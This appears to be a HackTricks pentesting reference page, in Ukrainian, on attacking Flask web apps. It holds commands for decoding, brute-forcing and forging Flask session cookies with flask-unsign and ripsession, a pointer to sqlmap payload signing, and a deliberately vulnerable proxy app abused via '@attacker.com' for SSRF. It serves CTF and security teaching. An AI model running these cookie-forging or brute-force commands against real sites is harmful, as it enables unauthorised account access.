91 lines
3.2 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Flask
{{#include ../../banners/hacktricks-training.md}}
**Ймовірно, якщо ви граєте в CTF, додаток Flask буде пов'язаний з** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/index.html)**.**
## Cookies
Ім'я сесії за замовчуванням для cookie - **`session`**.
### Decoder
Онлайн декодер cookie Flask: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi)
#### Manual
Отримайте першу частину cookie до першої крапки та декодуйте її в Base64.
```bash
echo "ImhlbGxvIg" | base64 -d
```
Кукі також підписується за допомогою пароля
### **Flask-Unsign**
Командний рядок для отримання, декодування, брутфорсу та створення сесійних кукі додатку Flask шляхом вгадування секретних ключів.
{{#ref}}
https://pypi.org/project/flask-unsign/
{{#endref}}
```bash
pip3 install flask-unsign
```
#### **Декодувати Cookie**
```bash
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
```
#### **Брутфорс**
```bash
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
```
#### **Підписування**
```bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
```
#### Підписування за допомогою застарілих (старих версій)
```bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
```
### **RIPsession**
Командний інструмент для брутфорсу вебсайтів, використовуючи куки, створені за допомогою flask-unsign.
{{#ref}}
https://github.com/Tagvi/ripsession
{{#endref}}
```bash
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
```
### SQLi в Flask сесійних куках з SQLmap
[**Цей приклад**](../../pentesting-web/sql-injection/sqlmap/index.html#eval) використовує опцію sqlmap `eval` для **автоматичного підписування payload'ів sqlmap** для flask, використовуючи відомий секрет.
## Flask Proxy до SSRF
[**У цьому описі**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) пояснюється, як Flask дозволяє запит, що починається з символу "@":
```http
GET @/ HTTP/1.1
Host: target.com
Connection: close
```
У якому з наведених сценаріїв:
```python
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com/'
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content
app.run(host='0.0.0.0', port=8080)
```
Може дозволити ввести щось на кшталт "@attacker.com", щоб викликати **SSRF**.
{{#include ../../banners/hacktricks-training.md}}